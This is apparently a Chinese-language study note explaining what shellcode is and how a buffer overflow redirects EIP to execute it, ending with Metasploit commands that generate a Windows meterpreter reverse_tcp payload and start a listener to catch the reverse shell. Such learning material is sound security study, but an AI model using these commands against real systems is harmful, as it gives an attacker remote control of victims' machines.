ShellCode漏洞
可以查看如下網址:
https://www.cnblogs.com/kakadewo/p/12996878.html
定義:
shellcode是一段用于利用軟件漏洞而執行的代碼,shellcode為16進制之機械碼,以其經常讓攻擊者獲得shell而得名。shellcode常常使用機器語言編寫。 在寄存器eip溢出后,加入一段可讓CPU執行的shellcode機械碼,讓電腦可以執行攻擊者的任意指令。
ShellCode:
1、所謂ShellCode就是一段硬編碼的數據
2、硬編碼就是在編程之初就將數據設定好的一種方式
3、這段硬編碼的數據執行之后具有具體功能
4、界定一個代碼段是不是ShellCode,最重要的就是這段代碼段出現的位置以及出現的時機。
5、任意一段代碼段都有可能成為ShellCode
ShellCode的執行:
ShellCode一般和漏洞利用緊緊的聯系在一起,可能會只有這樣的疑問,即使Shell Code是一段代碼段,那么Shell Code怎么執行呢?這個就要說到漏洞利用了,就拿最簡單的緩沖區溢出來說,(前邊也有相應的博客來介紹二進制漏洞),在發生溢出之后,程序的eip已經發生改變,而eip是下一條指令執行的地址,因此,我們可以利用緩沖區溢出的原理來控制eip,獲取對于程序的控制權限,這個時候我們可以將eip設置為我們的ShellCode的地址,將eip指向ShellCode的地址之后,成功獲取程序的控制權,之歌時候就可以利用Shell Code來執行我們想要的操作。
以下是自己的理解:
看了很多資料,了解到了ShellCode其實就是一串可以被執行的代碼,而這段代碼又是我們特意反彈shell的,所以一般這種漏洞都和緩沖區溢出漏洞去配合著使用
如何利用
通過msf進行利用ShellCode漏洞
利用msf生成ShellCode的代碼病毒
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.245.153 LPORT=4444 -f raw > /root
use exploit/multi/handler? ?????????????????????????????????????????? 載入multi/handler模塊
set payload windows/meterpreter/reverse_tcp? ??????????? 設置payload
set LHOST 192.168.92.129
set LPORT 4444
run